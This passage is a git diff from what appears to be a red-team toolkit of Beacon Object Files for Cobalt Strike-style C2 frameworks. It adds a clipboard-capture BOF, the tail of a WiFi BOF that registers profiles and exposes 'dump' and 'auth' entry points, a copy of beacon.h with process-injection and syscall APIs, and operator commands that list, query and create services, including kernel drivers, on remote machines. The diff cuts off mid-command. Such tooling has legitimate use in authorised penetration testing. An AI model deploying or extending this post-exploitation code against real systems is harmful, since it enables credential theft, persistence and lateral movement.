&pIfList); + if (dwResult != ERROR_SUCCESS || pIfList->dwNumberOfItems == 0) { + BeaconPrintf(CALLBACK_ERROR, "WlanEnumInterfaces failed or no interfaces: %u\n", dwResult); + goto cleanup; + } + + /* Primera interfaz disponible */ + PWLAN_INTERFACE_INFO pIfInfo = (WLAN_INTERFACE_INFO *)&pIfList->InterfaceInfo[0]; + BeaconPrintf(CALLBACK_OUTPUT, "[*] Interface : %ws\n", pIfInfo->strInterfaceDescription); + + /* Registrar el perfil (sobreescribe si ya existe) */ + DWORD dwReasonCode = 0; + dwResult = WLANAPI$WlanSetProfile(hClient, &pIfInfo->InterfaceGuid, + 0, xmlProfile, NULL, TRUE, NULL, &dwReasonCode); + if (dwResult != ERROR_SUCCESS) { + BeaconPrintf(CALLBACK_ERROR, "WlanSetProfile failed: %u (reason: %u)\n", dwResult, dwReasonCode); + goto cleanup; + } + BeaconPrintf(CALLBACK_OUTPUT, "[*] Profile registered for '%ws'\n", pSsid); + + /* Conectar */ + WLAN_CONNECTION_PARAMETERS connParams; + MSVCRT$memset(&connParams, 0, sizeof(connParams)); + connParams.wlanConnectionMode = wlan_connection_mode_profile; + connParams.strProfile = pSsid; + connParams.pDot11Ssid = NULL; + connParams.pDesiredBssidList = NULL; + connParams.dot11BssType = dot11_BSS_type_infrastructure; + connParams.dwFlags = 0; + + dwResult = WLANAPI$WlanConnect(hClient, &pIfInfo->InterfaceGuid, &connParams, NULL); + if (dwResult != ERROR_SUCCESS) { + BeaconPrintf(CALLBACK_ERROR, "WlanConnect failed: %u\n", dwResult); + } else { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Connection request sent for '%ws'\n", pSsid); + } + +cleanup: + MSVCRT$free(xmlProfile); + if (pIfList) WLANAPI$WlanFreeMemory(pIfList); + if (hClient) WLANAPI$WlanCloseHandle(hClient, NULL); +} + +/* ====================================================================== + * Entrypoints + * ====================================================================== */ +#if defined(BOF_ENTRY_ENUM) +void go(IN PCHAR Buffer, IN ULONG Length) { run_wifienum(); } + +#elif defined(BOF_ENTRY_DUMP) +void go(IN PCHAR Buffer, IN ULONG Length) { run_wifidump(Buffer, Length); } + +#elif defined(BOF_ENTRY_AUTH) +void go(IN PCHAR Buffer, IN ULONG Length) { run_wifiauth(Buffer, Length); } + +#else +#error "Define -DBOF_ENTRY_ENUM, -DBOF_ENTRY_DUMP o -DBOF_ENTRY_AUTH al compilar." +#endif diff --git a/SAL-BOF/Makefile b/SAL-BOF/Makefile index 562b0d4..873cba7 100755 --- a/SAL-BOF/Makefile +++ b/SAL-BOF/Makefile @@ -62,5 +62,11 @@ bof: clean @($(CC86) $(CFLAGS) privcheck/pshistory.c -o _bin/pshistory.x32.o && $(STRIP86) _bin/pshistory.x32.o) && echo '[+] pshistory x32' || echo '[!] pshistory x32' @($(CC86) $(CFLAGS) privcheck/uacstatus.c -o _bin/uacstatus.x32.o && $(STRIP86) _bin/uacstatus.x32.o) && echo '[+] uacstatus x32' || echo '[!] uacstatus x32' @($(CC86) $(CFLAGS) privcheck/privcheck_all.c -o _bin/privcheck_all.x32.o && $(STRIP86) _bin/privcheck_all.x32.o) && echo '[+] privcheck_all x32' || echo '[!] privcheck_all x32' + + @$(MAKE) --no-print-directory -C clipboard + @cp clipboard/_bin/*.o _bin/ + @$(MAKE) --no-print-directory -C sc_bof + @cp sc_bof/_bin/*.o _bin/ + clean: - @(rm -rf _bin) + @(rm -rf _bin clipboard/_bin sc_bof/_bin) diff --git a/SAL-BOF/clipboard/Makefile b/SAL-BOF/clipboard/Makefile new file mode 100644 index 0000000..8db3782 --- /dev/null +++ b/SAL-BOF/clipboard/Makefile @@ -0,0 +1,27 @@ +CC64 = x86_64-w64-mingw32-gcc +CC86 = i686-w64-mingw32-gcc +STRIP64 = x86_64-w64-mingw32-strip +STRIP86 = i686-w64-mingw32-strip + +CFLAGS = -Wall -masm=intel -I src + +SRC = src/clipboard.c + +all: bof + +bof: clean + @(mkdir _bin 2>/dev/null) && echo 'creating _bin directory' || echo '_bin directory exists' + + # 64-bit build + @$(CC64) $(CFLAGS) -c $(SRC) -o _bin/clipboard.x64.o && \ + $(STRIP64) --strip-unneeded _bin/clipboard.x64.o && \ + echo '[+] clipboard (x64)' || echo '[!] clipboard (x64)' + + # 32-bit build + @$(CC86) $(CFLAGS) -c $(SRC) -o _bin/clipboard.x86.o && \ + $(STRIP86) --strip-unneeded _bin/clipboard.x86.o && \ + echo '[+] clipboard (x86)' || echo '[!] clipboard (x86)' + + +clean: + @(rm -rf _bin) diff --git a/SAL-BOF/clipboard/src/beacon.h b/SAL-BOF/clipboard/src/beacon.h new file mode 100644 index 0000000..2e9c3af --- /dev/null +++ b/SAL-BOF/clipboard/src/beacon.h @@ -0,0 +1,403 @@ +/* + * Beacon Object Files (BOF) + * ------------------------- + * A Beacon Object File is a light-weight post exploitation tool that runs + * with Beacon's inline-execute command. + * + * Additional BOF resources are available here: + * - https://github.com/Cobalt-Strike/bof_template + * + * Cobalt Strike 4.x + * ChangeLog: + * 1/25/2022: updated for 4.5 + * 7/18/2023: Added BeaconInformation API for 4.9 + * 7/31/2023: Added Key/Value store APIs for 4.9 + * BeaconAddValue, BeaconGetValue, and BeaconRemoveValue + * 8/31/2023: Added Data store APIs for 4.9 + * BeaconDataStoreGetItem, BeaconDataStoreProtectItem, + * BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries + * 9/01/2023: Added BeaconGetCustomUserData API for 4.9 + * 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL + * Updated the BEACON_INFO data structure to add new parameters + * 4/19/2024: Added BeaconGetSyscallInformation API for 4.10 + * 4/25/2024: Added APIs to call Beacon's system call implementation + * 12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes) + * 2/13/2025: Updated SYSCALL_API structure with more ntAPIs for 4.11 + * 3/20/2025: Updated ALLOCATED_MEMORY_SECTION structure with driploader page size for 4.12 + * 4/7/2025: Updated ALLOCATED_MEMORY_REGION structure with driploader allocation granularity for 4.12 + * 7/16/2025: Updated ALLOCATED_MEMORY_PURPOSE structure with PURPOSE_UDC2_MEMORY for 4.12 + */ +#ifndef _BEACON_H_ +#define _BEACON_H_ +#include + +#ifdef __cplusplus +extern "C" { +#endif // __cplusplus + +/* data API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} datap; + +DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); +DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size); +DECLSPEC_IMPORT int BeaconDataInt(datap * parser); +DECLSPEC_IMPORT short BeaconDataShort(datap * parser); +DECLSPEC_IMPORT int BeaconDataLength(datap * parser); +DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); + +/* format API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} formatp; + +DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); +DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); +DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, const char * text, int len); +DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, const char * fmt, ...); +DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); +DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); +DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); + +/* Output Functions */ +#define CALLBACK_OUTPUT 0x0 +#define CALLBACK_OUTPUT_OEM 0x1e +#define CALLBACK_OUTPUT_UTF8 0x20 +#define CALLBACK_ERROR 0x0d +#define CALLBACK_CUSTOM 0x1000 +#define CALLBACK_CUSTOM_LAST 0x13ff + + +DECLSPEC_IMPORT void BeaconOutput(int type, const char * data, int len); +DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...); +DECLSPEC_IMPORT BOOL BeaconDownload(const char * filename, const char* buffer, unsigned int length); + + +/* Token Functions */ +DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); +DECLSPEC_IMPORT void BeaconRevertToken(); +DECLSPEC_IMPORT BOOL BeaconIsAdmin(); + +/* Spawn+Inject Functions */ +DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); +DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo); +DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); + +/* Utility Functions */ +DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); + +/* Beacon Information */ +/* + * ptr - pointer to the base address of the allocated memory. + * size - the number of bytes allocated for the ptr. + */ +typedef struct { + char * ptr; + size_t size; +} HEAP_RECORD; +#define MASK_SIZE 13 + +/* Information the user can set in the USER_DATA via a UDRL */ +typedef enum { + PURPOSE_EMPTY, + PURPOSE_GENERIC_BUFFER, + PURPOSE_BEACON_MEMORY, + PURPOSE_SLEEPMASK_MEMORY, + PURPOSE_BOF_MEMORY, + PURPOSE_UDC2_MEMORY, + PURPOSE_USER_DEFINED_MEMORY = 1000 +} ALLOCATED_MEMORY_PURPOSE; + +typedef enum { + LABEL_EMPTY, + LABEL_BUFFER, + LABEL_PEHEADER, + LABEL_TEXT, + LABEL_RDATA, + LABEL_DATA, + LABEL_PDATA, + LABEL_RELOC, + LABEL_USER_DEFINED = 1000 +} ALLOCATED_MEMORY_LABEL; + +typedef enum { + METHOD_UNKNOWN, + METHOD_VIRTUALALLOC, + METHOD_HEAPALLOC, + METHOD_MODULESTOMP, + METHOD_NTMAPVIEW, + METHOD_USER_DEFINED = 1000, +} ALLOCATED_MEMORY_ALLOCATION_METHOD; + +/** +* This structure allows the user to provide additional information +* about the allocated heap for cleanup. It is mandatory to provide +* the HeapHandle but the DestroyHeap Boolean can be used to indicate +* whether the clean up code should destroy the heap or simply free the pages. +* This is useful in situations where a loader allocates memory in the +* processes current heap. +*/ +typedef struct _HEAPALLOC_INFO { + PVOID HeapHandle; + BOOL DestroyHeap; +} HEAPALLOC_INFO, *PHEAPALLOC_INFO; + +typedef struct _MODULESTOMP_INFO { + HMODULE ModuleHandle; +} MODULESTOMP_INFO, *PMODULESTOMP_INFO; + +typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION { + HEAPALLOC_INFO HeapAllocInfo; + MODULESTOMP_INFO ModuleStompInfo; + PVOID Custom; +} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION; + +typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION { + BOOL Cleanup; + ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod; + ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation; +} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION; + +typedef struct _ALLOCATED_MEMORY_SECTION { + ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development + PVOID BaseAddress; // Pointer to virtual address of section + SIZE_T VirtualSize; // Virtual size of the section + DWORD CurrentProtect; // Current memory protection of the section + DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking) + BOOL MaskSection; // A boolean to indicate whether the section should be masked + DWORD DripLoadPageSize; // The page size used when committing memory during drip-loading +} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION; + +typedef struct _ALLOCATED_MEMORY_REGION { + ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory + PVOID AllocationBase; // The base address of the allocated memory block + SIZE_T RegionSize; // The size of the allocated memory block + DWORD Type; // The type of memory allocated + DWORD DripLoadAllocationGranularity; // The allocation granularity used when reserving memory for drip-loading + ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures + ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation +} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION; + +typedef struct { + ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6]; +} ALLOCATED_MEMORY, *PALLOCATED_MEMORY; + +/* + * version - The version of the beacon dll was added for release 4.10 + * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch + * e.g. 0x040900 -> CS 4.9 + * 0x041000 -> CS 4.10 + * + * sleep_mask_ptr - pointer to the sleep mask base address + * sleep_mask_text_size - the sleep mask text section size + * sleep_mask_total_size - the sleep mask total memory size + * + * beacon_ptr - pointer to beacon's base address + * The stage.obfuscate flag affects this value when using CS default loader. + * true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address) + * false: beacon_ptr = allocated_buffer (A valid address) + * For a UDRL the beacon_ptr will be set to the 1st argument to DllMain + * when the 2nd argument is set to DLL_PROCESS_ATTACH. + * heap_records - list of memory addresses on the heap beacon wants to mask. + * The list is terminated by the HEAP_RECORD.ptr set to NULL. + * mask - the mask that beacon randomly generated to apply + * + * Added in version 4.10 + * allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA + * via a UDRL. + */ +typedef struct { + unsigned int version; + char * sleep_mask_ptr; + DWORD sleep_mask_text_size; + DWORD sleep_mask_total_size; + + char * beacon_ptr; + HEAP_RECORD * heap_records; + char mask[MASK_SIZE]; + + ALLOCATED_MEMORY allocatedMemory; +} BEACON_INFO, *PBEACON_INFO; + +DECLSPEC_IMPORT BOOL BeaconInformation(PBEACON_INFO info); + +/* Key/Value store functions + * These functions are used to associate a key to a memory address and save + * that information into beacon. These memory addresses can then be + * retrieved in a subsequent execution of a BOF. + * + * key - the key will be converted to a hash which is used to locate the + * memory address. + * + * ptr - a memory address to save. + * + * Considerations: + * - The contents at the memory address is not masked by beacon. + * - The contents at the memory address is not released by beacon. + * + */ +DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr); +DECLSPEC_IMPORT void * BeaconGetValue(const char * key); +DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key); + +/* Beacon Data Store functions + * These functions are used to access items in Beacon's Data Store. + * BeaconDataStoreGetItem returns NULL if the index does not exist. + * + * The contents are masked by default, and BOFs must unprotect the entry + * before accessing the data buffer. BOFs must also protect the entry + * after the data is not used anymore. + * + */ + +#define DATA_STORE_TYPE_EMPTY 0 +#define DATA_STORE_TYPE_GENERAL_FILE 1 + +typedef struct { + int type; + DWORD64 hash; + BOOL masked; + char* buffer; + size_t length; +} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT; + +DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index); +DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index); +DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index); +DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries(); + +/* Beacon User Data functions */ +DECLSPEC_IMPORT char * BeaconGetCustomUserData(); + +/* Beacon System call */ +/* Syscalls API */ +typedef struct +{ + PVOID fnAddr; + PVOID jmpAddr; + DWORD sysnum; +} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY; + +typedef struct +{ + SYSCALL_API_ENTRY ntAllocateVirtualMemory; + SYSCALL_API_ENTRY ntProtectVirtualMemory; + SYSCALL_API_ENTRY ntFreeVirtualMemory; + SYSCALL_API_ENTRY ntGetContextThread; + SYSCALL_API_ENTRY ntSetContextThread; + SYSCALL_API_ENTRY ntResumeThread; + SYSCALL_API_ENTRY ntCreateThreadEx; + SYSCALL_API_ENTRY ntOpenProcess; + SYSCALL_API_ENTRY ntOpenThread; + SYSCALL_API_ENTRY ntClose; + SYSCALL_API_ENTRY ntCreateSection; + SYSCALL_API_ENTRY ntMapViewOfSection; + SYSCALL_API_ENTRY ntUnmapViewOfSection; + SYSCALL_API_ENTRY ntQueryVirtualMemory; + SYSCALL_API_ENTRY ntDuplicateObject; + SYSCALL_API_ENTRY ntReadVirtualMemory; + SYSCALL_API_ENTRY ntWriteVirtualMemory; + SYSCALL_API_ENTRY ntReadFile; + SYSCALL_API_ENTRY ntWriteFile; + SYSCALL_API_ENTRY ntCreateFile; + SYSCALL_API_ENTRY ntQueueApcThread; + SYSCALL_API_ENTRY ntCreateProcess; + SYSCALL_API_ENTRY ntOpenProcessToken; + SYSCALL_API_ENTRY ntTestAlert; + SYSCALL_API_ENTRY ntSuspendProcess; + SYSCALL_API_ENTRY ntResumeProcess; + SYSCALL_API_ENTRY ntQuerySystemInformation; + SYSCALL_API_ENTRY ntQueryDirectoryFile; + SYSCALL_API_ENTRY ntSetInformationProcess; + SYSCALL_API_ENTRY ntSetInformationThread; + SYSCALL_API_ENTRY ntQueryInformationProcess; + SYSCALL_API_ENTRY ntQueryInformationThread; + SYSCALL_API_ENTRY ntOpenSection; + SYSCALL_API_ENTRY ntAdjustPrivilegesToken; + SYSCALL_API_ENTRY ntDeviceIoControlFile; + SYSCALL_API_ENTRY ntWaitForMultipleObjects; +} SYSCALL_API, *PSYSCALL_API; + +/* Additional Run Time Library (RTL) addresses used to support system calls. + * If they are not set then system calls that require them will fall back + * to the Standard Windows API. + * + * Required to support the following system calls: + * ntCreateFile + */ +typedef struct +{ + PVOID rtlDosPathNameToNtPathNameUWithStatusAddr; + PVOID rtlFreeHeapAddr; + PVOID rtlGetProcessHeapAddr; +} RTL_API, *PRTL_API; + +/* Updated in version 4.11 to use the entire structure instead of pointers to the structure. + * This allows for retrieving a copy of the information which would be under the BOF's + * control instead of a reference pointer which may be obfuscated when beacon is sleeping. + */ +typedef struct +{ + SYSCALL_API syscalls; + RTL_API rtls; +} BEACON_SYSCALLS, *PBEACON_SYSCALLS; + +/* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */ +DECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized); + +/* Beacon System call functions which will use the current system call method */ +DECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); +DECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); +DECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); +DECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); +DECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle); +DECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId); +DECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId); +DECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object); +DECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress); +DECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length); +DECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions); +DECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead); +DECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); + +/* Beacon Gate APIs */ +DECLSPEC_IMPORT VOID BeaconDisableBeaconGate(); +DECLSPEC_IMPORT VOID BeaconEnableBeaconGate(); + +DECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking(); +DECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking(); + +/* Beacon User Data + * + * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch + * e.g. 0x040900 -> CS 4.9 + * 0x041000 -> CS 4.10 +*/ + +#define DLL_BEACON_USER_DATA 0x0d +#define BEACON_USER_DATA_CUSTOM_SIZE 32 +typedef struct +{ + unsigned int version; + PSYSCALL_API syscalls; + char custom[BEACON_USER_DATA_CUSTOM_SIZE]; + PRTL_API rtls; + PALLOCATED_MEMORY allocatedMemory; +} USER_DATA, * PUSER_DATA; + +#ifdef __cplusplus +} +#endif // __cplusplus +#endif // _BEACON_H_ diff --git a/SAL-BOF/clipboard/src/clipboard.c b/SAL-BOF/clipboard/src/clipboard.c new file mode 100644 index 0000000..4a7ce77 --- /dev/null +++ b/SAL-BOF/clipboard/src/clipboard.c @@ -0,0 +1,86 @@ +/* + * clipboard.c - Lee el contenido del portapapeles (CF_TEXT / CF_UNICODETEXT) BOF + * + * Correcciones vs. original: + * - OpenClipboard(NULL) en lugar de GetConsoleWindow() como owner + * (BOFs no tienen ventana de consola; pasar NULL es el uso correcto) + * - GlobalLock/GlobalUnlock para acceder al contenido del handle + * - Soporte para CF_UNICODETEXT si CF_TEXT no está disponible + * - CloseClipboard siempre se llama, incluso en error + * + * Compilar: + * x86_64-w64-mingw32-gcc -Wall -masm=intel -c clipboard.c -o _bin/clipboard.x64.o + * i686-w64-mingw32-gcc -Wall -masm=intel -c clipboard.c -o _bin/clipboard.x86.o + * + * O simplemente: make + */ + +#include +#include +#include "beacon.h" + +/* DFR declarations */ +DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$OpenClipboard(HWND); +DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$CloseClipboard(void); +DECLSPEC_IMPORT WINUSERAPI HANDLE WINAPI USER32$GetClipboardData(UINT); +DECLSPEC_IMPORT WINUSERAPI BOOL WINAPI USER32$IsClipboardFormatAvailable(UINT); + +DECLSPEC_IMPORT WINBASEAPI LPVOID WINAPI KERNEL32$GlobalLock(HANDLE); +DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$GlobalUnlock(HANDLE); +DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(void); + +DECLSPEC_IMPORT BOOL toWideChar(char *src, wchar_t *dst, int max); + +void go(IN PCHAR Buffer, IN ULONG Length) { + + /* Abrir el portapapeles — NULL es el owner correcto desde un BOF + * (no hay ventana de consola asociada al proceso beacon) */ + if (!USER32$OpenClipboard(NULL)) { + BeaconPrintf(CALLBACK_ERROR, + "OpenClipboard failed: %lu\n", KERNEL32$GetLastError()); + return; + } + + /* ---- Intentar CF_UNICODETEXT primero (más común en Windows modernos) ---- */ + if (USER32$IsClipboardFormatAvailable(CF_UNICODETEXT)) { + HANDLE hData = USER32$GetClipboardData(CF_UNICODETEXT); + if (hData) { + wchar_t *pWide = (wchar_t *)KERNEL32$GlobalLock(hData); + if (pWide) { + /* Convertir a UTF-8/ANSI para BeaconPrintf usando el helper de beacon.h */ + BeaconPrintf(CALLBACK_OUTPUT, "[Clipboard / Unicode]\n%ws\n", pWide); + KERNEL32$GlobalUnlock(hData); + } else { + BeaconPrintf(CALLBACK_ERROR, + "GlobalLock failed: %lu\n", KERNEL32$GetLastError()); + } + } else { + BeaconPrintf(CALLBACK_ERROR, + "GetClipboardData(CF_UNICODETEXT) failed: %lu\n", KERNEL32$GetLastError()); + } + } + /* ---- Fallback a CF_TEXT ---- */ + else if (USER32$IsClipboardFormatAvailable(CF_TEXT)) { + HANDLE hData = USER32$GetClipboardData(CF_TEXT); + if (hData) { + char *pText = (char *)KERNEL32$GlobalLock(hData); + if (pText) { + BeaconPrintf(CALLBACK_OUTPUT, "[Clipboard / ANSI]\n%s\n", pText); + KERNEL32$GlobalUnlock(hData); + } else { + BeaconPrintf(CALLBACK_ERROR, + "GlobalLock failed: %lu\n", KERNEL32$GetLastError()); + } + } else { + BeaconPrintf(CALLBACK_ERROR, + "GetClipboardData(CF_TEXT) failed: %lu\n", KERNEL32$GetLastError()); + } + } + /* ---- Portapapeles vacío o formato no soportado ---- */ + else { + BeaconPrintf(CALLBACK_OUTPUT, + "[Clipboard] Empty or non-text content (CF_TEXT / CF_UNICODETEXT not available)\n"); + } + + USER32$CloseClipboard(); +} diff --git a/SAL-BOF/sal.axs b/SAL-BOF/sal.axs index 8d3185c..b235996 100644 --- a/SAL-BOF/sal.axs +++ b/SAL-BOF/sal.axs @@ -3,6 +3,175 @@ var metadata = { description: "Situation Awareness Local BOFs" }; +// ax.script_import(ax.script_dir() + "clipboard/clipboard.axs") +// ax.script_import(ax.script_dir() + "sc_bof/svcmgr.axs") + +// *********************** clipboard *********************** + +var cmd_clipboard = ax.create_command( + "clipboard", + "Read the current system clipboard contents [NOISE: low]", + "clipboard" +); + +cmd_clipboard.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { + + var bof_path = ax.script_dir() + "_bin/clipboard." + ax.arch(id) + ".o"; + + if (!ax.file_exists(bof_path)) { + ax.console_message(id, + "BOF not found: " + bof_path, + "error", + "Compile clipboard.c and place the .o files under _bin/ next to this script." + ); + return; + } + + var hook = function (task) { + if (!task.text) return task; + + var lines = task.text.split("\n"); + var out = []; + + for (var i = 0; i < lines.length; i++) { + var l = lines[i]; + if (/^\[Clipboard\s*\//.test(l)) { + var fmt = /Unicode/.test(l) ? "Unicode" : "ANSI"; + out.push("[Clipboard capture — " + fmt + "]"); + continue; + } + out.push(l); + } + + task.text = out.join("\n"); + return task; + }; + + ax.execute_alias_hook( + id, + cmdline, + "execute bof " + bof_path, + "Task: Clipboard capture (BOF)", + hook + ); +}); + + +// *********************** clipboard end *********************** +// *********************** sc_bof *********************** + +var cmd_svc_list = ax.create_command( + "svc_list", + "List all services (local or remote).", + "svc_list | svc_list -c 192.168.1.10 | svc_list -f driver"); +cmd_svc_list.addArgFlagString("-c", "computer", "Remote computer (skip = localhost)", "localhost"); +cmd_svc_list.addArgFlagString("-f", "filter", "Filter: all | win32 | driver", "all"); +cmd_svc_list.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { + var computer = parsed_json["computer"] || "localhost"; + var filter = parsed_json["filter"] || "all"; + var bof_path = ax.script_dir() + "_bin/svcmgr." + ax.arch(id) + ".o"; + var bof_params = ax.bof_pack("cstr,cstr,cstr", ["list", computer, filter]); + ax.execute_alias(id, cmdline, + `execute bof ${bof_path} ${bof_params}`, + "Task: svc_list on " + computer, null); +}); + +var cmd_svc_query = ax.create_command( + "svc_query", + "Check the status and configuration of a service.", + "svc_query -n WinDefend | svc_query -n Spooler -c 192.168.1.10"); +cmd_svc_query.addArgFlagString("-n", "svcname", "Service name"); +cmd_svc_query.addArgFlagString("-c", "computer", "Remote machine (skip = localhost)", "localhost"); +cmd_svc_query.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { + var svcname = parsed_json["svcname"] || ""; + var computer = parsed_json["computer"] || "localhost"; + if (!svcname) { ax.console_message(id, "missing -n ", "error"); return; } + + var bof_path = ax.script_dir() + "_bin/svcmgr." + ax.arch(id) + ".o"; + var bof_params = ax.bof_pack("cstr,cstr,cstr", ["query", computer, svcname]); + ax.execute_alias(id, cmdline, + `execute bof "${bof_path}" "${bof_params}"`, + "Task: svc_query [" + svcname + "] on " + computer, null); +}); + +var cmd_svc_create = ax.create_command( + "svc_create", + "Create a new service (Win32 or kernel driver).", + "svc_create -n MySvc -p C:\\\\path\\\\svc.exe -t win32 -s auto | svc_create -n MyDrv -p C:\\\\path\\\\drv.sys -t driver -s demand"); +cmd_svc_create.addArgFlagString("-n", "svcname", "Service internal name"); +cmd_svc_create.addArgFlagString("-p", "binpath", "Path to the executable or .sys file"); +cmd_svc_create.addArgFlagString("-d", "dispname", "Display name (optional)", ""); +cmd_svc_create.addArgFlagString("-t", "svctype", "Type: win32 | driver", "win32"); +cmd_svc_create.addArgFlagString("-s", "starttype", "Start: auto | demand | disabled | boot | system", "demand"); +cmd_svc_create.addArgFlagString("-c", "computer", "Remote machine (skip = localhost)", "localhost"); +cmd_svc_create.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { + var svcname = parsed_json["svcname"] || ""; + var binpath = parsed_json["binpath"] || ""; + var dispname = parsed_json["dispname"] || ""; + var svctype = parsed_json["svctype"] || "win32"; + var starttype = parsed_json["starttype"] || "demand"; + var computer = parsed_json["computer"] || "localhost"; + if (!svcname) { ax.console_message(id, "missing -n ", "error"); return; } + if (!binpath) { ax.console_message(id, "missing -p ", "error"); return; } + var bof_path = ax.script_dir() + "_bin/svcmgr." + ax.arch(id) + ".o"; + var bof_params = ax.bof_pack("cstr,cstr,cstr,cstr,cstr,cstr,cstr", + ["create", computer, 